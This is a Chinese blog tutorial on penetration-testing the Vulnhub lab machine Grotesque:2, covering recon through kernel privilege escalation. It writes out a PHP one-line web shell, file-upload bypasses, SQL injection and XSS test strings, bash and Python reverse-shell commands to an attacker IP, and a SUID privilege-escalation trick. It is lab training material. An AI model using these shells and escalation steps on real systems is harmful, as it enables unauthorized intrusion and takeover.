从信息收集到内核提权:Vulnhub靶机渗透实战与思维构建
1. 从“看”到“玩转”一次靶机渗透的完整心路历程“看完这篇教你玩转渗透测试靶机Vulnhub——Grotesque:2”。这个标题本身就很有意思它预设了一个从“看”到“玩转”的转变。但作为一个在渗透测试领域摸爬滚打了十多年的老手我必须告诉你看一百篇攻略不如自己动手踩一次坑。Vulnhub上的靶机尤其是像Grotesque:2这样被标记为“中等”或“困难”的机器其价值远不止于拿到最终的root.txt。它更像是一个精心设计的迷宫考验的是你的信息收集能力、逻辑思维、工具链的熟练度以及在遇到意料之外情况时的临场应变能力。今天我不打算给你一份“标准答案”式的通关秘籍而是想带你走一遍我面对Grotesque:2时的完整思考与操作流程分享那些攻略里通常不会写的“为什么这么做”以及“如果失败了怎么办”。Grotesque:2是Vulnhub上一个基于Web应用漏洞的靶机它模拟了一个存在多处安全缺陷的网站环境。很多新手拿到靶机第一反应就是打开Nmap扫端口然后对着开放的80端口狂用Dirb、Gobuster接着上Burp Suite抓包改参数。这个流程没错但过于机械。面对Grotesque:2你需要理解的是它的“Grotesque”怪诞之处可能就在于某些看似平常的入口背后连接着非常规的路径或者一个明显的漏洞只是通往下一个更隐蔽漏洞的跳板。我们将从最基础的虚拟机配置开始一步步深入到内核利用的细节重点不是复现命令而是重建整个渗透测试的思维链路。2. 环境准备与初步侦察超越默认扫描在启动Grotesque:2的OVA文件之前有几个细节决定了你后续的体验。首先确保你的攻击机通常是Kali Linux和靶机在同一网络段。我推荐使用VirtualBox或VMware的“Host-Only”或“NAT网络”模式创建一个隔离的虚拟网络这样既能保证连通性又不会影响你的物理网络。启动靶机后注意观察启动日志有时靶机会在启动时显示IP地址如果没有你需要在攻击机上用netdiscover或arp-scan进行二层发现。注意有些Vulnhub靶机默认不会自动获取IP可能需要你进入虚拟机控制台手动配置如使用dhclient命令。这是第一个可能遇到的“非技术性”障碍。假设我们通过arp-scan -l或netdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来就是经典的Nmap扫描。但别急着用那个“万能”的-A -sC -sV命令。对于渗透测试尤其是时间有限的模拟环境分阶段、有重点的扫描更高效。第一阶段快速端口发现nmap -sS -T4 -p- 192.168.1.105这里用了-sSSYN半开放扫描速度快且相对隐蔽和-T4较快的时间模板。-p-表示扫描所有65535个端口。目的是快速找出所有开放端口而不是一开始就进行全面的服务探测。第二阶段针对性服务探测假设第一阶段发现开放了80和另一个非常规端口比如7890。那么第二阶段扫描就应该针对这些具体端口nmap -sC -sV -p 80,7890 -oA grotesque_initial 192.168.1.105-sC使用默认的Nmap脚本进行更深入的探测。-sV探测服务版本。-oA以三种格式普通、XML、Grepable输出结果方便后续查阅。为什么分两步因为如果靶机有防火墙或入侵检测系统IDS一次性的、侵略性过强的扫描可能触发警报或被屏蔽。分步进行先摸清轮廓再重点深入是更专业的做法。扫描结果可能会显示80端口运行着一个HTTP服务而另一个端口可能运行着一个未知的或自定义的服务这本身就是一条重要线索。3. Web入口点深度枚举与漏洞初探Nmap扫描显示80端口开放运行着Apache服务器。直接访问http://192.168.1.105我们看到了一个网站。很多人的下一步是立刻上目录爆破工具。但在运行工具之前手动浏览一遍网站是至关重要的。查看页面源代码、检查Robots.txt、查看HTTP响应头信息这些都能发现工具可能忽略的细节。例如在页面源代码的注释里开发者可能会留下测试路径、备份文件位置甚至硬编码的凭证。检查HTTP头可能会发现特定的服务器版本如Apache 2.4.49或者框架信息如PHP 7.4这些信息对于寻找已知漏洞至关重要。手动浏览后再进行自动化枚举。我习惯将Gobuster和Dirsearch结合使用因为它们的字典和算法各有侧重。# 使用Gobuster进行目录和文件枚举 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50 # 同时可以使用Dirsearch进行更深入的扫描 python3 dirsearch.py -u http://192.168.1.105 -e php,html,js,txt,bak -w /usr/share/wordlists/dirb/big.txt在扫描过程中重点关注以下类型的发现管理后台如/admin/wp-admin/backend。API或配置文件如/api/config.envconfig.php.bak。上传点如/upload/filemanager。日志或备份文件如/backup/logsaccess.log。假设我们发现了/admin目录访问后是一个登录页面。此时不要立即尝试暴力破解。首先尝试默认凭证admin/admin admin/password等。如果不行查看页面是否有“忘记密码”功能或者是否存在SQL注入漏洞。你可以手动测试在用户名和密码字段输入单引号‘观察是否有数据库报错信息回显。也可以使用Burp Suite抓取登录请求发送到Intruder模块进行模糊测试或字典攻击。实操心得在针对登录框进行测试时先进行简单的SQL注入测试如‘ or ‘1’’1和基本的XSS测试如scriptalert(1)/script。有时开发人员会在前端进行输入过滤但后端未做校验Burp Suite可以绕过前端的JavaScript验证。另外注意观察登录失败和成功的HTTP响应差异比如状态码、响应长度、返回信息的细微差别这有助于设计有效的暴力破解攻击。如果Web层面没有直接突破点那么之前Nmap发现的另一个开放端口例如7890就变得尤为关键。用Netcat或Telnet连接上去看看它返回什么信息。nc -nv 192.168.1.105 7890如果返回的是一个自定义的协议横幅或者一个交互式命令行那这可能是一个非标准服务甚至是靶机故意留下的后门或调试接口。你需要尝试发送各种可能的命令HELP、INFO、LOGIN等或者用strings命令分析从该端口获取的原始数据寻找线索。4. 漏洞利用与权限提升从Web Shell到Root Shell假设我们通过Web漏洞比如在/admin的某个参数发现了SQL注入并利用SQLMap成功获取了数据库中的用户密码哈希通过破解弱密码获得了后台管理员权限获得了网站后台的访问权。在后台我们可能发现了一个文件上传功能允许上传图片。这是获取Web Shell的经典入口。文件上传绕过如果上传功能有白名单限制只允许.jpg .png可以尝试多种绕过方式双扩展名shell.php.jpg大小写混淆shell.PHp尾部空格/点shell.php.在某些系统处理中会被忽略修改Content-Type在Burp Suite中将上传请求中的Content-Type: image/jpeg。利用解析漏洞例如服务器是Nginx可能存在shell.jpg/.php这样的解析漏洞。上传一个简单的PHP Web Shell例如使用system($_GET[‘cmd’]);的一句话木马到服务器可访问的路径例如/uploads/shell.php。然后通过浏览器访问http://192.168.1.105/uploads/shell.php?cmdid如果返回了当前用户的UID说明Web Shell生效。建立反向ShellWeb Shell的交互性很差。我们需要一个完整的反向Shell。在攻击机上监听一个端口nc -lvnp 4444然后通过Web Shell执行命令将系统的Shell反弹到攻击机。根据靶机系统环境命令不同Linux靶机最常见# Bash bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’ # 或者使用Python python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’Windows靶机可以使用PowerShell命令。如果成功你会在攻击机的Netcat监听端看到一个Shell。第一个命令通常是whoami和pwd确认当前权限和位置。权限提升Privilege Escalation拿到一个低权限用户如www-data的Shell后目标是获取root权限。这是一个系统性的信息收集过程我称之为“本地枚举”。系统信息uname -a内核版本cat /etc/os-release发行版信息。用户和组idcat /etc/passwdcat /etc/group。运行进程ps aux或ps -ef 查看是否有以root身份运行的可疑或脆弱进程。网络连接netstat -tulnp或ss -tulnp 查看开放端口和连接可能与内部服务有关。计划任务crontab -l当前用户 查看/etc/crontab和/etc/cron.d/目录寻找以root权限定期运行的任务看是否有脚本的写权限。SUID/GUID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件。如果find命令本身是SUID那可以直接用它提权find . -exec /bin/sh \; -quit。可写文件find / -writable 2/dev/null | grep -v proc | grep -v sys 特别是/etc/passwd/etc/sudoers.d/目录下的文件。环境变量env 查看PATH变量中是否有当前用户可写的目录这可能导致劫持。查看历史命令history 可能包含密码或其他敏感信息。查看配置文件Web应用的配置文件如config.php.env中可能包含数据库密码而数据库里可能存有其他用户的密码哈希。针对Grotesque:2 提权路径可能就隐藏在上述某一步中。例如你可能发现一个以root权限运行的、但配置错误的系统服务通过ps aux或systemctl list-units发现或者一个全局可写的脚本被cron以root身份执行。又或者内核版本较旧存在公开的本地提权漏洞如Dirty Pipe Dirty COW。你可以使用searchsploit linux kernel 3.13这样的命令在本地搜索漏洞或者上传像linpeas.sh这样的自动化提权脚本进行深度枚举。踩坑实录有一次在提权时我发现了一个SUID位的/usr/bin/vim.basic。理论上可以通过:!bash在Vim中启动一个具有SUID权限的shell。但实际执行时系统提示“suid不安全已忽略”。这是因为现代Linux系统拥有secureexec选项会丢弃SUID程序启动的子进程的SUID权限。这个坑告诉我不能盲目相信每一个SUID文件。后来我通过检查Vim的配置文件或插件路径发现了可写的目录通过编写恶意插件实现了提权。所以自动化脚本是很好的起点但手动验证和深入思考必不可少。5. 内核漏洞利用与最终突破当常规的路径SUID cron 环境变量都走不通时内核漏洞往往是最后的武器。使用uname -a获取精确的内核版本例如Linux grotesque 5.4.0-96-generic。然后去Exploit-DB或GitHub上搜索对应的提权漏洞。利用过程注意事项环境适配公开的Exploit代码往往需要在目标机上编译。你需要检查目标机是否有GCC编译器which gcc。如果没有你可能需要在攻击机上交叉编译或者寻找已经编译好的、适用于多种架构的二进制文件但这风险较高。上传Exploit可以通过Web Shell上传或者如果靶机开启了Python HTTP服务可以在攻击机用python3 -m http.server 8000启动一个简易服务器然后在靶机Shell中用wget或curl下载。编译与执行在靶机上gcc exploit.c -o exploit 然后./exploit。如果成功你会看到提示符从$变成了#。稳定性有些内核漏洞利用不稳定可能导致系统崩溃内核恐慌。在渗透测试环境中问题不大但在真实环境中需极其谨慎。假设我们通过一个内核漏洞成功获得了root权限。最后一步是寻找标志文件。在Vulnhub靶机中通常是/root/root.txt和/home/user/user.txt。用cat命令读取它们这就是你完成渗透的证明。清理痕迹可选在授权测试中很重要在真实渗透测试或CTF结束后出于职业道德可以考虑清理你留下的Web Shell、添加的用户、上传的Exploit文件等。但在Vulnhub练习环境中这一步通常可以省略。整个Grotesque:2的渗透过程从信息收集到内核提权实际上是一个不断提出假设、验证假设、并根据反馈调整方向的过程。它没有唯一的路径我所描述的也只是其中一种可能性。真正的“玩转”是你能在面对任何新靶机时都有一套清晰的、可迭代的方法论而不是死记硬背命令。工具是手臂思维才是大脑。每一次“踩坑”和“绕路”都是对你思维模式最有效的锤炼。所以别只是“看完”打开你的虚拟机真正去“玩转”它吧。遇到错误和失败时去搜索去理解错误信息去尝试不同的方法那个过程才是你技能提升最快的时候。

相关新闻

Python Lambda函数:从高阶函数到数据分析的匿名函数实战指南

Python Lambda函数:从高阶函数到数据分析的匿名函数实战指南

1. 从“一次性工具”说起:为什么我们需要lambda 在Python的日常开发里,我们经常会遇到一种情况:需要一个函数,但这个函数逻辑极其简单,可能就一两行代码,而且大概率只用这一次。比如,你想对一个…

2026/7/31 13:48:59阅读更多 →
Proteus仿真核心指南:从器件检索到高效仿真的全流程解析

Proteus仿真核心指南:从器件检索到高效仿真的全流程解析

1. 项目概述:从“找器件”到“高效仿真”的思维跃迁刚接触Proteus那会儿,我和很多新手一样,最头疼的不是画原理图,也不是写程序,而是找器件。面对软件左侧那个庞大的元件库,输入一个“AT89C51”&#xff0c…

2026/7/31 13:48:59阅读更多 →
PowerToys中文版终极指南:免费解锁Windows系统增强工具箱的完整高效配置

PowerToys中文版终极指南:免费解锁Windows系统增强工具箱的完整高效配置

PowerToys中文版终极指南:免费解锁Windows系统增强工具箱的完整高效配置 【免费下载链接】PowerToys-CN PowerToys Simplified Chinese Translation 微软增强工具箱 自制汉化 项目地址: https://gitcode.com/gh_mirrors/po/PowerToys-CN 还在为英文界面的Pow…

2026/7/31 13:48:59阅读更多 →
Python手写RSA加密算法:从数学原理到密钥生成实战

Python手写RSA加密算法:从数学原理到密钥生成实战

1. 项目概述:为什么我们要亲手实现RSA? 如果你看过《模仿游戏》或者《谍影重重》这类电影,一定对“加密”这个词不陌生。电影里,特工们用一串串看似毫无规律的字符传递绝密信息,敌方截获后却束手无策,那种紧…

2026/7/31 15:08:15阅读更多 →
PyTorch深度学习实战:从零构建神经网络模型的五个核心步骤

PyTorch深度学习实战:从零构建神经网络模型的五个核心步骤

在人工智能和深度学习领域,框架的选择往往决定了开发的效率。PyTorch凭借其动态计算图和极具Python风格的接口,已经成为学术界和工业界的首选工具之一。很多初学者觉得深度学习框架门槛很高,但实际上,只要掌握正确的方法&#xff…

2026/7/31 15:08:15阅读更多 →
【计算机毕业设计】基于Spring Boot的在线教学平台的设计与实现

【计算机毕业设计】基于Spring Boot的在线教学平台的设计与实现

1.系统介绍随着信息技术在教育领域的深度渗透,传统线下教学模式已难以满足数字化学习的需求,在线教学平台成为优化教学流程、提升教学效率的重要载体。本研究针对教学管理中信息交互不及时、流程管控不规范等问题,设计并实现一套多角色协同的…

2026/7/31 15:08:15阅读更多 →
Biotin-AIB:生物素标记2-氨基异丁酸,氨基酸转运与营养感知化学生物学探针

Biotin-AIB:生物素标记2-氨基异丁酸,氨基酸转运与营养感知化学生物学探针

中文名称:生物素标记2-氨基异丁酸、生物素-2-氨基异丁酸英文名称:Biotin-2-Aminoisobutyric acid(Biotin-AIB)一、分子结构与特性核心组分:2-氨基异丁酸(AIB,分子式 C₄H₉NO₂,分子…

2026/7/31 15:08:15阅读更多 →
客服外包和找客服重点区别在哪?新手卖家建议先看完汉聪这个案例再说

客服外包和找客服重点区别在哪?新手卖家建议先看完汉聪这个案例再说

先泼一盆冷水——客服外包这行,口碑两极分化极其严重。有人靠它省下几十万人工成本,有人被坑得血本无归还投诉无门。那汉聪到底是什么水平?从行业逻辑和可查信息出发,帮你理清几个关键问题。一、先把概念搞清楚,客服外…

2026/7/31 15:08:15阅读更多 →
C++实现跨平台云备份工具:架构设计与工程实践

C++实现跨平台云备份工具:架构设计与工程实践

1. 项目概述:一个跨平台的C云备份工具最近在整理几个跨平台的项目,数据分散在Ubuntu服务器和Windows开发机上,手动备份既繁琐又容易遗漏。市面上成熟的云备份方案不少,但要么是闭源的黑盒,要么年费不菲,要么…

2026/7/31 15:06:15阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/30 15:03:16阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/30 12:22:27阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/30 15:13:02阅读更多 →
物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:40阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:41阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:41阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/31 0:49:33阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/31 5:08:18阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/30 15:43:46阅读更多 →